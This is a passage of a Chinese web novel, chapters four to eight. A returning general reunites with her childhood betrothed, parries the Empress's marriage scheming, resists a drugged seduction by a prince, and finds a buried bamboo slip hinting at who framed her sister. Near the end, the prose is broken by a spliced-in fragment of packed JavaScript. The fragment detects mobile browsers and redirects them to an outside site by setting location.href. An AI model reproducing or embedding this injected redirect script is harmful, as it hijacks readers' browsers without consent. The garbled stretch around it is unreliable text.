“百姓们欢迎我们的声音啊,毕竟我们这次可是大败羲和,赢得可漂亮了,大家也一定想来看看将军的英姿呢。”那人面色红润,早就没了赶路的疲惫,只有美妙的畅想。 “贫嘴。”墨云徵笑骂了一声,“那你一会可要跟紧队伍,别被挤跑了啊。” “得令!” 两人谈笑间便穿过了城门。 不出那士兵所料,夹道欢迎他们凯旋的百姓早就站了一层又一层。 上至六十老妪,下至六岁孩童,夹着菜篮,带着面纱出来买菜的主夫,甚至连帷帽的待嫁闺男都掀开帘子凑着热闹,只为一睹墨将军的风采。 墨云徵实在没想到能有这般大的阵仗,却也丝毫没露怯。 任由各种绣了蝴蝶鸳鸯图案的丝帕香包落到自己穿的轻凯上,再叫周雨谢绝递给他们的时令瓜果蔬菜,还有仍滴着血的现杀鸡鸭鹅。 军旗飘扬着,士兵们在熙攘的喧闹声中缓缓前进,似 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墙内传来了一声刺耳的哀嚎,隔着厚厚的砖石都清晰地钻进了他们一队人的耳中。 “木棉你好啰嗦,要不是母亲前几天就罚了我禁足,让我今日不能出去见她,我又怎么会翻出去?” 另一个声音虽带着些许天真与娇纵,却格外悦耳清朗,蓦地在众人头顶响起。 “等我看到她就偷偷回来,不会让母亲发现的,你也不许通风……哎呀!” “公子!” 微风浮动,惊动了原本含羞的碧桃花瓣,吓得它们洋洋洒洒地落了下来。 穿着淡粉圆领长袍的青年被裹在那簇簇间,衣袂上百蝶穿花纹映着日光,似是活了过来,翩翩飞舞着扑了下面赏景之人满怀。 墨云徵在听到那声惊呼时,就下意识的伸出了双臂,而她所在的位置也恰恰好将人稳稳的接住,避免了一场惨剧。 青年紧闭着眼,已经做好了最起码摔断一条胳膊或是腿的准备,却没想到身下被什么柔软的东西垫住了,还有一双温暖的手掌落在他的腰间,将他护在了个有些坚硬的胸膛里。 那原本好好系在头上的碎玉抹额也斜斜地挂在了鬓边,应是仔细打扮过的人儿,身上还浸着甜甜的沁香,此刻却有些狼狈。 “啊……抱歉,一下没站稳,十分感谢您救了……”青年终于惊魂未定的睁开眼,哑着嗓子后怕地抬头同墨云徵道谢。 只是他漾着水色的目光甫一碰到女人的脸,便牢牢贴了上去没再移动分毫,看得痴了般,原本的桃花眼也瞪成了圆圆的杏眼,配着红润饱满的脸颊,竟是有几分幼态的可爱。 没等墨云徵弄清他这反应究竟是怎么一回事,就被紧紧搂住了脖颈。 刚刚因恐惧而僵硬的不行身子,此刻仿佛化成了一摊水,挤着墨云徵冷冰冰的轻甲。 而他的声音也变得格外腻乎,带着难以言喻的喜悦,“玉汝!你是玉汝吧!” 5. 第五章 这个称呼,都已经不知有多少年没听到过了。 墨云徵,字玉汝。 一个继承了美好祝愿的名与字。 是在被冤枉通敌叛国后,除了血脉外,她与姐姐仅剩的无法斩断的联系。 玉凝将军墨云澜,女帝曾经的伴读,文武双全,比如今的自己更早获得封赏,惊才绝艳的少年将军。 也是现在朝堂上人尽皆知的罪臣,一个不被允许提起的人。 而记忆里,喜欢这么软软的叫她字的那个小男孩,如今竟也出落的这般标致。 怪不得墨云徵看到那颗洒金碧桃,便觉得如此熟悉,缘是韶光匆匆逝,故人又相逢。 “怀瑾?” 女人看着怀中一个劲贴上来的竹马,舒展了眉眼。 谢南书原本紧紧勾在颈后的手改为捧住了她的脸颊,又轻轻的揉捏两下才道,“玉汝还记得我,我还担心你认不出呢。” “我又怎会忘呢,在看到这花时就想到了。”墨云徵帮他正了正抹额,又将刚刚插入发间的枝叶摘下。 “毕竟这是当年某人拉着我种下的,不答应你还要抽抽哒哒的哭……” “不许说!”谢南书听到她道出这种糗事,赶紧慌张地将女人的嘴给捂住,只留下那双带着笑意的黑眸看他红透的耳根。 “知道你记性好了,那既然没忘了我,怎么一走就是这么多年,还不知道给我寄封信。” 青年撇了撇嘴,颇为幽怨的质问这个负心女。 墨云徵只是微微松了揽着他腰肢的手,一手牵着缰绳向前缓慢踱步,顺便眨了眨眼。 知道她意思的人也赶忙反应过来,放开了对那唇瓣的桎梏,“好了,我看你要怎么狡辩。” “谢南书。” 没等到墨云徵开口,一声带着威严的女声在前方骤然响起。 原本粘糊在许久未见青梅怀里的谢南书,听到这声音直接被吓得打了个冷战,随后又想把脸埋到她脖颈装鹌鹑。 但是那人并没有给他这个机会,又严厉了话语。 “别让我叫你第二遍,一个未出阁的男子在大街上同其他女子拉拉扯扯,你看看你现在像什么样子!” 墨云徵偏头向越过谢南书发顶的方向看去,触及到那停在正门的马车时,只消一眼便知晓了来人身份。 谢南书的母亲,安平侯。 还有站在她身侧,弓着腰偷偷瞪自己的侍从木棉。 安平侯见谢南书仍未有动作,眉峰间挤出了川字,“给我下来。” 那些话虽是讲给怀中人听的,却也有暗暗威胁墨云徵的意味。 闻言,女人也将剩下的一只手放了下来,垂眸哄人。 “乖,快下去,不然一会要挨打了。” 尽管再不愿,也不容谢南书继续耍赖,他只得张开了双臂对墨云徵撒娇道,“我自己下不去,你抱我。” 墨云徵无奈的扯了扯嘴角,一个翻身下马,又托着他的腋下将人抱了下来,手掌覆在他的后背,带着半胁迫半安抚的意味,把他推到了安平侯面前。 “定远将军墨云徵拜见安平侯。”见谢南书垂着头不情不愿地站到安平侯身侧,墨云徵也抱拳行了个礼。 她如今的官职为正五品,而安平侯虽是世袭的爵位,也还是从三品,不能废了礼数。 “嗯,你回来了啊。”安平侯淡淡的应了声,一副对她并不在意的模样,就扭头要教训谢南书。 “母亲,你怎么对玉汝这么冷淡呀。”青年咬着唇瓣,抓住安平侯的朝服袖子轻轻晃了晃,杏仁似的眼睛里带着一丝嗔怪。 “墨将军与我们安平侯府并非亲故,我遵从寻常礼仪相待并无不妥。倒是你,同外女这般亲热,也不怕落了人口舌,败坏门楣。” 安平侯并不吃他这套,板着脸又将人训了一通,直到见谢南书眼眶含着委屈的泪水才作罢。 “哪里并非亲故?我同玉汝曾经可是定了娃娃亲!她是我未来的妻主!” 青年气的不行,却仍执拗的瞪着自己的母亲,似是要讨个说法。 “谢南书你放肆!” 谁知听到这话,安平侯竟厉声呵斥了他。 “早就说过那是年轻时酒后失言,做不得什么数的玩笑话,我看真是太过娇惯你了,前几日罚了你禁足绕是不够,你给我再禁足七日,在你房中好好反省!” 语毕,又狠狠将胳膊一甩,拂袖而去。 “侯主!” 木棉站在一旁急得跺脚,又低声同谢南书道,“少爷还是快听话回府吧,侯主也是为了您好。” 他只劝了一句,便扭头追了进去。 徒留青年一人站在原地,原本扯着母亲袖子的手也僵在空中不知所措。 墨云徵怎能不知安平侯此番究竟是为何,此时虽笑着,却不剩多少真情实意。 “安平侯说的对,我身份敏感,你我也不能再同儿时那般无甚顾及,众口铄金不说,若是牵连了你,也是我的所不愿的。” “可是我不信!”,谢南书带着哭腔反驳。 “我不信玉凝姐通敌叛国,不信她是那样的人……” 他哭的可怜,一字一句像是戳在了墨云徵的心窝里。 “我早就认定你是我的妻主,这么多年就等着你挣了军功回来娶我。” 墨云徵用指尖轻柔的给他抹去泪痕,一触即离。 “好啦,把脸都哭花了,这样的话往后不能在外面这般大声说,被听到了可是杀头的罪。” 指尖的泪实在滚烫,女人顿了顿,食指与拇指轻轻捻了捻,又道,“况且母父之命,媒妁之言,我如今什么都没有,哪能耽误你去再寻个好人家呢。” “可是。” 青年的话被堵在了墨云徵伸出的指尖里。 “回去吧,这几天别惹你母亲生气,我也要进宫了,不能耽搁了时辰。” 谢南书胡乱的擦掉泪水,又轻轻勾住墨云徵腰封的带子,抿着唇凑近她耳侧轻声央求道,“那你答应我一件事好不好,过几日的清明时节要陪我去踏青,我就是想约你这事的。” 说完,就后退一步便垂着头不敢看人,“我一定是第一个来约你的,所以你不许答应其他人了哦。” 似是不愿听墨云徵拒绝,谢南书也扭头跑回了安平侯府的大门,未给她半点机会。 后跟上的马车里传来一道幽幽的 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进宫面圣的流程就是那些,墨云徵虽多年未回都城,却不可能忘掉上次的经历。 作为罪人被押着进宫和如今相比,自是没那么严格,而且宫人与禁卫军对他们的态度也完全是天上与地下。 好歹她这次是会来受封赏的。 墨云徵走在队伍的最前面,后面跟着其余副将和萧亦尘。 领路的宫人面上带着恰到好处的恭敬,不卑不亢,直到将他们勤政殿门口才侧身停下,摆出了请的姿势。 向宫人道了谢,女人便抬脚走了进去。 勤政殿的门并未关闭,进去便是一个金丝楠木雕刻的屏风,绕过后就是女帝处理政务的地方。 此刻玄烛女帝柳师凰正端坐在龙椅上,握着一沓奏折专注地看着,似是并未听到他们进殿的动静。 “臣墨云徵携羲和皇子萧亦尘拜见陛下,吾皇万岁万岁万万岁。” 听到众人乌泱泱跪地拜见的声音,柳师凰这才恍然地抬头,“你们回来了?也不叫人通报一声,快起来吧。” “谢陛下。” “玄北关的事朕都知道了,墨爱卿此次做的非常漂亮,你手下副将的赏赐朕早就备好了,领了就退下吧,朕给你们五日休沐,等之后再来上朝。” 柳师凰轻轻挥了挥手,一直在她身侧安静候着的女官便上前,将手中的銮驾托盘递到了墨云徵身后官职最大的副将手中。 “至于羲和的小皇子……”女帝抬眼看了看萧亦尘,见到那惹眼的容貌时微微扬了扬眉,就随口道,“朕先在宫里给你安排个住处,和亲之事不急,五皇女的婚事朕还需多考虑考虑。” 语毕又给了女官一个眼神,便将剩下从羲和来的人几人也领了出去。 待她雷厉风行的将勤政殿的人都打发走,此刻唯余墨云徵单独弯腰作揖的站在下面。 柳师凰沉默了片刻才开口。 “好了,现在只有朕与爱卿了。”看着恭敬的墨云徵,女帝敛去了凤眸中复杂的情绪,换成了温柔的笑意。 6. 第六章 君心向来难测。 仅短短几息间的沉默,足以让墨云徵脑海里的念头拐许多个弯。 尽管已经二十多岁,可她真正见过天颜的次数不过廖廖。 犹记得儿时,自己曾跟着姐姐见过柳师凰一面,那时还是皇女的陛下早就有了帝王之相,对小小的她来说,脾气已经难以捉摸。 更别说如今已经女帝接近不惑之年,心思早就不是她能随意看透的。 只是心中隐隐有些猜测,对于朝中压着粮草补给不予以支援,对于她此番回到都城,却仍没有一个确定的封赏。 墨云徵低着头,却仍感受到对方投下的目光,让她如芒在背,在战场上厮杀出的直觉在此刻发出警告,紧贴着里衣的皮肤也泛起了细小的疙瘩。 好在,这样的氛围又被柳师凰带着安抚的声音打破。 原本滞涩的呼吸终于能松下来片刻,就又被接下来的话吓得吞了回去。 “既然只有自家人,那朕便说些真心的话,一直未给你封赏,其实是另有考量。” 这帽子实在扣的太大,墨云徵弯着的腰又低了些,“恕臣驽钝,实在不知陛下何意。” 柳师凰并未过多解释,也没因为她这副不解其意的模样发怒,只是似乎真的在唠家常般,提起了另一件不甚相关的事。 “朕听说,你在回来的路上就与安平侯家那小子见过了?” 才发生不久的事就已经传到御前,这般速度,惊得墨云徵额角渗出些许冷汗,“回陛下,是臣偶然碰到的,就简单叙了个旧。” “朕又没说什么,别怕的像是我要吃了你们两个似的。”坐在龙椅上的女帝支着下巴轻笑,“就是想起来你们小时候曾一起玩耍过的事,略微有些感叹罢了。” 墨云徵只听到她轻叹一声,“这竹马绕青梅的关系,当真美好的让人怀念。只可惜朕已经老了,竹马和青梅也早就物是人非,一去不回了。” “陛下正值壮年,更别说玄烛在您的励精图治下蒸蒸日上,百姓安居乐业,臣受您激励才取得这般成就大败羲和,又何来老字一说。” 她的回答让柳师凰很是满意,眼底的笑意带上了赞许,“你这孩子,嘴还是这么甜。” “不过你们都未娶嫁,还是略微保持些距离才好。” “陛下说的是,臣会注意的。” 柳师凰这才满意的点了点头,“既然提到你的婚事,朕也操心的很。”她顿了顿,状似苦恼道,“沐羽那孩子听到你凯旋开心的不行,求着朕要见你一面。” “三皇子想见臣?” 终于听到了女帝从最开始铺垫之事,墨云徵心想,看来是想把三皇子塞给自己,好借此收了她的兵权,还能将她掌控在手里一劳永逸。 “是呀,那孩子还说从前远远见过你一面,就非你不可了,真是任性。可偏偏他又到该出嫁的年纪,谁都瞧不上呢。”她指尖扶着额角轻轻摇头,“主意正的很啊。” 墨云徵赶紧单膝跪地,“若能为陛下分忧臣自然是万死不辞,只是,臣如今实在没有成家的念头,恐耽误了三皇子,那才是罪过大了。” 这拒绝本就在女帝预料内,听罢她只是面色无奈的摆了摆手,“罢了,你们年轻人的事朕掺和什么,那小子早早的在御花园设宴等你,要是拒绝,你便自己去讲,朕也没什么要说的了,退下吧。” “臣遵旨。” 墨云徵起身告退,直到走出勤政殿才暗自松了口气。 可一想到还要应付那素未谋面的三皇子就感觉一阵头大,生无可恋的抬脚往御花园的方向走。 只是某人忘记了自己从未去过御花园的事情,走着走着就偏了路线,不知道走到了哪个冷宫的地界。 没有被好好修剪的树木肆意生长,将天空都遮蔽了一半,杂草在此处也完全无人在意,导致竟然长得意外茂盛。 看着略微有些阴森的地方,墨云徵就知道糟了。 “听说今日那燕公子又闹绝食?”一个稚嫩的声音从拐角处传来。 “对呀,明明只是个小侍,谁知道陛下怎么那么宠爱,还是个瞎的。”他的同伴附和道,“陛下还说必须吊着他的命,若是人死了,让我们全殿的人都陪葬呢。” “你们殿也没几个人。”最先开口的小宫侍笑他,“不过真是奇怪,我听那燕公子是前些年陛下从教坊司纳到宫里的,当时跟着接人的哥哥说他还大着肚子,似是快生了。” “就算没几个人,也是陛下看中的!”另一个小侍不满道,“那时候还没有咱们俩呢,这么多年过去,早该年老色衰不得宠爱了才对,他又没有什么背景,而且那胎生下来就死了。” “谁知道,哎呀不管了,我们还得快点去御花园值班呢。” “快走快走。” 待两个杂乱的脚步声略微远去,墨云徵这才从拐角探出头来跟上。只见路途越发开阔,终于走回了正确的路。 好在她迷路的时间并不久,不到半炷香的时间,不会引起什么怀疑。 御花园很大,栽种了许多名贵的花,在春末也争抢着想要艳丽到最后一刻。 而此刻最显眼的却是正中心的凉亭。 被花卉众星捧月的立在那,平日里原是做赏花用,此刻却被轻纱装饰点缀起来,随着清风浮动,将里面的景色勾勒的若隐若现。 只见一清瘦的人影坐在桌边,抬手指了指什么柔声吩咐道,“这个芙蓉糕味道不错,拿一盘给五皇女送去,她前些日子还在缠着我说要吃小厨房的糕点。” “对了,墨将军什么时候到?母皇大抵已经说完了才是。” “回殿下,应是快了。”他身侧的小侍屈膝拜了拜,“小的现在去看看?” “看看吧……”柳沐羽叹了口气,“别是被其他什么耽搁了才好。” 墨云徵恰巧已经走到垂落的轻纱前,“臣打扰了,此处可是三皇子设的宴?” “正是正是,将军请进。”小侍连忙道,又上前掀开纱帘,请她进来。 “有劳了。”女人对他点点头,随后向坐着看向自己的人作揖,“臣墨云徵见过三皇子殿下。” 三皇子起身迎她,“将军不必多礼,叫我沐羽便好。” 他的分寸感拿捏的恰到好处,迎人时托着墨云徵的手也隔着层外袍,没有让两人的 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“回殿下,现在点的是皇贵君送来的最后一盒香了。“茄儿行了个礼回道,“不过咱们殿中别的檀香还有很多,是殿下常用的那种。” “可以,去拿吧。” 柳沐羽抬手倒了些酒在自己与墨云徵面前的杯子里,端起酒杯向她敬了敬。 “沐羽知这是与将军初见,你我二人还不够熟稔,但沐羽的心思绝不作假。” 仰头将酒一饮而尽,柳沐羽被辣的红了眼眶,只得用帕子点了点唇角,再羞怯地遮掩。 “将军见笑了。” 墨云徵只摇了摇头,礼貌道笑道,“没有,殿下很直率。” 见她没有要喝酒的意思,青年也只失落了一瞬,便微微向墨云徵的方向靠了靠,“很少有人这般评价沐羽。” 那清瘦的身子像纸片似的,即便靠过来也没什么重量,但女人还是用手掌克制的扶上他的肩,“殿下醉了?” 柳沐羽已经撑不住身子,只得仰着头看她,脸颊不知何时已经漫上了不正常的潮红,“应该没有吧……可是头却有点晕,将军可知这是怎么了?” 那香一开始就不对劲,看来是同酒一起才能发挥效用,墨云徵虽有意试探,却不能断定三皇子是否知情。 感受到青年攀附上她的脖颈,她赶紧将人推开些许,“臣不愿欺瞒殿下,但臣已经有心上人了。” 软成一滩水的身子陡然僵硬,青年睁着眼朦胧看她,似是在消化此话的含义,“将军有心上人了?” “没错,所以臣不能耽误殿下。” 那双眸子的水色摇摇欲坠,亦如青年此刻的状态。 可他只是攥着墨云徵的衣襟,见对方真的半点旖旎之意都无,半晌才脱力的松手,转为倚着桌角,呼吸急促道,“今日是沐羽失态,赔礼转日会送到将军府上,将军请回吧。” 墨云徵点点头,连身上被抓出的褶皱都未抚平就离开了凉亭。 侍奉在凉亭外的宫侍均恭敬的垂着头,只有一个偷偷抬眼,将那略显狼狈的背影看在了眼里。 7. 第七章 “她回来了?” 青年一袭白衣,坐在窗边的轮椅上,看着下方喧闹的车水马龙,面色冷淡,如同山巅未消融的积雪,高不可攀。 “才回来一日便同两个男人扯上关系,也真是好手段。” 脱下黑衣的侍从仍是安静的站在一旁,看着自家主人从原本冷静自持,到此刻气极反而笑得明艳的脸,不禁暗叹这墨云徵实在是厉害。 因为身体的原因,萧祁安总是需要保持稳定的情绪,虽说他平日素来忧思过重,却总是只藏在心里,很少外显。 但自从遇见了那女人,或是关于她的事,就总会如同现在这般露出鲜活的神色,生气也好,不甘也好,亦或是类似于棋逢对手跃跃欲试。 虽说不是对他的身体有什么好处,总归也是有了人气儿。 “咳,咳……” 此番倒春寒来得突然,萧祁安还曾在玄北关时为了接近墨云徵服了药,让本就各类毒性混杂的沉疴病体更雪上加霜,自从回来就一直用药材温养着,但也见效缓慢,迟迟未见什么好转。 甚至忙着赶路,低热都一直未退。 现在只在窗边坐了片刻就受了风,加上怒火攻心,想来又要因发热昏昏沉沉几日才能恢复精神。 侍从心中这么担心着,又将那害他主人不浅的墨云徵骂了一通,赶紧上前将窗棂合上,倒了杯热茶想给青年暖身子,可才递上去就被轻轻拂开。 那双狐狸眼此刻泛着灼人的红,将一直都白皙毫无血色的脸染上了颜色,鸦羽似的睫毛随着清浅而短促的呼吸不住颤动,翩翩如振翅的蝶。 “枉我以为误会了她,想不到还是那般好色随便。” 他又被自己的话气地一哽,阖上眸子平复半晌才继续道,“既然如此,我还何必再处心积虑地去想些什么新意的法子。” 自前朝覆灭后便片刻不离萧祁安的侍从自然听得出此话含义,却还是忍不住劝道,“属下这就去安排您之前吩咐过之事,不过,要不要等您身体稍微恢复些再进行?” 短短几句话便耗尽了萧祁安的精力,此刻已瘫软在轮椅上,强撑着力气回他,“不必……免得,呃……夜长梦多。” “是。” 见他又昏睡过去,侍从轻手轻脚的上前将那极为孱弱消瘦的身子从轮椅上抱回了床上,将平日点的安神香点燃才退下。 萧祁安睡的并不好。 若是真的算起来,从他被打上前朝余孽的名号,被当作过街老鼠躲藏时,就再也没有一晚可以安心入眠。 连那段短暂的,为他构建的温情,也没能为他带来什么改善。 反倒是总让他分辨不清何为幻梦,何为真实。 身上冷一阵热一阵,像是将他扔到冰窟后放到火中炙烤,如此反复。 朦胧间好像带他回到了在仍在玄北关,被墨云徵拉着看日出那天。 前一晚他仍是仅仅想要闭上眼入睡,脑海中连绵不断的漫天大火,还有满目的红色就会蜂拥而至,厮杀与尖叫也会在耳边不住回荡。 可自己什么都阻止不了,什么都没法改变。 实在无法忍受,便睁开了眼。 看着眼前好似睡熟之人,纷乱的思绪让他的烦躁达到顶峰。 萧祁安曾经不理解,怎么会有人可以在见面不到几天就可以说出私定终身的话。 直到遇见了她。 可后来撕破了脸面与伪装,他才知道那都是专门演给他的戏。 她说:这般好的景色许久未看过了,不带着他来瞧瞧,就总惦记着。 他坐在她的马背上,身后是仅仅靠过一次,便不想离开的温暖胸膛。而凛冽的风刮到脸上,也没能让他清醒,于是他好奇,“到这里这么久,都没来看过一次吗?” 还记得女人笑着扬了扬下巴,就把头搭在了他的肩上,微哑的嗓音带着她特有的漫不经心,她呼出的雾气在光芒的折射下,模糊了眼前的景色。 “今日天时地利人和,便来了。” 天时地利人和。 呵。 是许久未见的景色,那当年,是陪着谁来的? 想不到终有一日,自己也会入戏太深。 回去后就气不过的穿着里衣在雪地里待了半宿,是为了有机会送出情报,是想看她为自己急得团团转,还是为了证明什么。 他不知道。 大抵真是得了失心疯。 …… 墨云徵不是没有预料到女帝与柳沐羽的计划,离开时便故意装的狼狈。 一是为了藏拙,二是不想引起各路眼线的怀疑。 她在玄北关的种种行径,怕是早就被编撰成册被递到女帝的龙案上,无论是行军之事,还是私下里关于她的风月流言。 可这些在面见圣上时都没有被提及。 女帝从未真正对她交付过信任,墨云徵可以确认这一点。 或许她曾经从未将自己放在眼里,可如今,谁都不能否认的是,她没有如那些人的愿,死在战场。 才回到那个没有一点生活痕迹的住处,后脚女帝的圣旨便到了门口。 “奉天承运,皇帝诏曰,五品定远将军墨云徵有忠勇之姿、韬略之智,威名震外,功绩卓越,特擢升从三品云麾将军,赐金千两,将军宅邸一座,钦此。” “臣接旨,谢主隆恩。”墨云徵恭敬的接过圣旨,同传旨女官道谢,“此番辛苦姐姐前来宣旨,只是墨某如今才归,家徒四壁,不能留姐姐喝些茶水实在抱歉。” 她谦逊有礼,女官也没有为难的理由,笑着应道,“墨将军不必介怀,都是能理解的,这是将军府的地契,那些赏赐之类臣妾早就吩咐人帮您抬到新府上了。” 墨云徵连点头,“麻烦姐姐了。” 女官微微颔首,“那臣妾回了。” “姐姐慢走。” 待人离开,墨云徵这才打开地契瞧。 将军府的位置还算不错,更重要的是,与曾经的墨府毫无二致。 原来曾经被抄的老宅地契一直在女帝手中,不曾重新下发作为赏。 历经十年,又物归原主。 原本此间只是墨云徵一个落脚之处,她也没有什么行李好收拾。带了唯一几件旧衣服,还有个没来的及扔的破外袍,就离开了这里。 去将军府的路她再熟 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而手底下的人蛮横无理,逼迫当时留在墨府掌家的姐夫沈砚琢早产发动,一尸两命。 等墨云澜胜利后,听到的就是家破人亡的消息,一切都来不及了。 被押送回都城,从未给自己辩解过一句,应是心灰意冷,或是不愿苟活。 墨云徵是墨家被留下的唯一血脉。 女帝仁慈,无论墨云澜做出了何等难堪之事,总愿看着两人当年的同窗情谊,在加上她多年为国征战的功劳,放过了她的小妹。 并愿意给墨云徵戴罪立功的机会,并未让她堕入奴籍。 本该感恩戴德的。 真的该感恩戴德吗? 虽在短短一天内经历了一件件惊险之事,可墨云徵环视着从小长大的地方,思绪却仍活跃的可怕。 连谢南书都明白的道理,知晓的为人。 一同长大的青梅,女帝与墨云澜当年足以同穿一条裙子的关系。 怎么就信了什么通敌叛国。 慢慢踱步到曾经由墨云澜给沈砚琢栽种的玉兰树下,墨云徵停了下来。 白玉兰经过多年,即便无人照料,但长势却还是很好,柔嫩的花瓣随风摆动着,坚韧的盛开挺立。 儿时不多的回忆里,墨云徵还找得到这颗树。 既是姐姐姐夫的定情信物,又是每年她与姐姐的约定。 “姐姐每年出征前都会在树下埋下给玉汝的礼物,若是礼物拆完,姐姐还没回来,玉汝就可以等姐姐回来多讨要几个。” 带着温柔笑意的话仿佛从未离去。 这曾是她的盼头。 墨云徵空白着表情,泪不知什么时候自己落了下来,模糊了视线。 脚下却传来坚硬的触感。 她随意擦了擦眼睛,蹲下一探究竟。 泥土没有被人翻动过,却在经年累月的侵蚀下被带走,露出了里面的东西。 来不及找工具,墨云徵就徒手把那块土包翻开。 是一个从未见过的老旧竹简。 8. 第八章 女帝下达命令时格外迅速,没等到墨云徵在约定的时候挖开树下的土拿到礼物,便将她下了大狱等待审判。 她在潮湿黑暗狱中不知被关了多久,如今的记忆也像是被蒙上一层雾,完全忘了这回事。 甚至连姐姐最后一面都未能见到,更别说这不知从何而来的竹简。 轻轻拂去尘土,墨云徵一行行的读着上面的字。 竹简是出自曾经帝师,也是三朝丞相之手,而内容却看的得她眉头紧锁。 那位老者早就因为墨云澜的事卸去了职务,归隐山林,不知去向。 而她手下学生最为出名的,除了前两代皇帝,便是当年都城三杰。 柳师凰,墨云澜,沈砚琢。 连三岁小儿都知道的几个名号,君子六艺无不通晓,德才兼备,品行端方。 帝师乞骸骨的原因也很简单,她没法忍受教出一个通敌叛国的人,若想安稳度过临了的年岁,不被世人指着脊梁骨骂,就只有这一个办法。 所有人都认为事情就是如此。 可为何,与她看到的不同。 即便是写在竹子上,经过十年的韶光,没有被爱惜打理,留下的许多字都模糊不清了。 墨云徵指尖轻轻摩挲着仅剩下的小篆,似是没法将那短短几个字组合理解。 爱徒亲启,危险,慎重行事,安平侯。 原本只觉得安平侯只是因为不想与她有牵扯,才对谢南书看管的那般严厉,如今再回顾种种行径与态度,却让人不得不多想。 帝师不会无缘无故将一个有着爵位的大臣在信中提起,更不会在前面留下危险的字样。 姐姐当年是怀着什么心情看完,然后埋在这科树下的呢。 最为敬重之人的警示,凭借自己对于她的了解,墨云澜不会不听。 是怕真的发生了什么事,给她留下的提示吗? 可现在留下的信息少的可怜,不足以让她去指认什么,仅仅一封竹简,又怎么证明不是伪造的。 若勾结之事确实与安平侯有关,凭她的手段,纵使有万种方法掩盖,可又是如何让女帝相信,甚至不顾同窗的信任,也要除掉她们墨家。 原本就是一团迷雾的局势,在拿到手中物的那刻仿佛拨开了片刻缝隙,又恍然合上。 墨云徵小心的收了竹简,又蹲下刨土。 只是结果实在让她失望,翻的再深,除了土也就只剩下了土。 想来也是。 她还是不信邪的在院中找了一阵,又把宅子里的所有房间都翻了翻,却唯独在一扇门前站了片刻。 最后一间厢房是她最不愿,也是最不敢进的。 可这本应该最先查看,潜意识的私心却让她一直拖延。 铁锈味仿佛又涌进鼻腔,混合着泥土与灰尘,让她下意识的想要干呕。 不是没有见过更多的血,墨云徵若那般胆小,也不会从如同人间炼狱的城中尸堆里爬出来,走到如今。 但这间房不同。 只要一想到那光风霁月的人在里面被凌辱…… 直到死去的那一刻还在等着还姐姐一个公道。 想到她那尚未出世的小侄女。 即便一直在做心里建设,可墨云徵最终还是没有开门的勇气。 几乎是落荒而逃的跑了出去。 像一个灰头土脸的流浪汉似的,鼻尖和脸颊都粘上了土。 天色早在她找东西时就逐渐黑了下来,此刻华灯初上,街边的小贩吆喝着,一派祥和景象。 而墨云徵就在路上漫无目的的走着,想要强迫大脑放松却还是不住想起各种事情,即便她一直在告诉自己要忍耐,告诉自己不能像小时候那般无所顾忌。 可总有几次会没法握住那根紧绷的弦。 她想不明白女帝究竟是带着什么目的将这个宅子重新赐给她。 是警告?是补偿?还是什么。 女人深深吸了一口气, 无论是什么,都不会成为阻挡她的障碍。 就算是在提醒她仍是罪臣之后,威胁她不要有违逆任何旨意的想法,包括这次的赐婚。 “呦,这位妹妹一直站在我们店门口,不进来也不离开的,是犹豫什么呐?” 一道声音蓦地从她肩头响起,浓烈的脂粉味被对方轻轻挥动的指尖扇了墨云徵满面。 入目的是一个脸涂的煞白的男人,不算年轻,但看得出那层厚厚“面具”下,是个清秀的美人。 如果不涂的这么难看,大抵还是可以招揽更多人的。 不知什么时候她站到了人家花楼门口。 听起来是妨碍他们开张了。 墨云徵这才反应过来自己有多狼狈,怪不得来了人赶她。 但男人却笑着开口,“妹妹身上脏兮兮的,要不要来我们楼里好好沐个浴,再配个贴心的陪着?” 要不然人家在外面揽客呢。 想着宅里什么都置备,墨云徵点了点头,露出了游刃有余的模样,从善如流道,“麻烦来间上房,再多几个伺候的。” “哎呀,好嘞,您里面请。”男人听着来了大单,声音都拐了几个弯,扭着纤细的腰肢把她请了进去。 “一会咱们楼里还会举行拍卖,妹妹记得来厅里看看呀,说不定就有看上的呢。” “好,我知道了。” 此刻来消遣的人不多,但楼里倒是香风弥漫。 墨云徵坐在椅子上慢条斯理的撇去杯中浮沫,尝了口茶,看着鱼贯而入的几个小男孩勾了勾唇,“都会什么?” 他们面面相觑,一个胆子大的抬眼对面前的女人送了送秋波,“都学过的,肯定让客人满意。” “好,那自己挑一个去屏风后弹吧。”她眯着眼睛笑,“弹好了有赏。” 男孩们虽遗憾却还是松了口气,各自乖巧的拿了乐器去屏风后了。 靡靡之音响起,不似正经乐曲雅致,但墨云徵荤素不忌,什么都能听,悠然自得地脱下衣服坐到了浴桶里。 在边疆从来洗不到这么惬意的澡,紧绷了一天,如今也算是得到了片刻的休息。 墨云徵便在脑中计划着到底怎么能让女帝收了赐婚的念头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16499550|185991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 恰逢耳边琴音骤起,让她通达了念头。 机会触手可及。 但小男孩他是下不了手的,而且怎么也得风风光光露个面,让人知道是自己。 擦干了身子,穿好楼里准备的新行头,给每个男孩扔了几块银子,女人吊儿郎当地在楼里游荡。 身侧走过两个行色匆匆的女人,墨云徵挑了挑眉,隐约听着她们嘴里什么拍卖的字眼,她又想起刚才男人说过的话。 看起来这拍卖提供的东西,另有乾坤。 跟在她们身后,走到了二楼的楼梯口,刚才领着她进来的男人正巧在那里卖着笑,看到墨云徵就赶紧凑了过来。 “妹妹来啦?奴家没瞧错,换了身衣服果真气宇轩昂,给您留了间厢房,要不要去那里看拍卖?” 正想着怎么参加,真是瞌睡来了送枕头。 “有劳了。”她又掏出几两银子塞到男人衣襟里,“走吧。” 男人把她送到厢房里就退下了。 这间房虽不是在正中间,但视野也不错,处在高处,将整个一楼尽收眼底,一览无余。 底下坐满了密密麻麻的女人,每个眼睛里都带着跃跃欲试,让她更好奇这次能有什么极品,能让这些人如此狂热。 墨云徵拿起桌边被粉红色锦布包裹的册子,翻来一个个看了起来。 由上到下的起拍价越来越贵,最后一位大概就是花魁。 她从未想过男人可以用这些词形容,感觉不懂行的大概会以为是菜单。 蓦地,有行小字闯进了她的眼里,让原本兴致缺缺的人凝了面色。 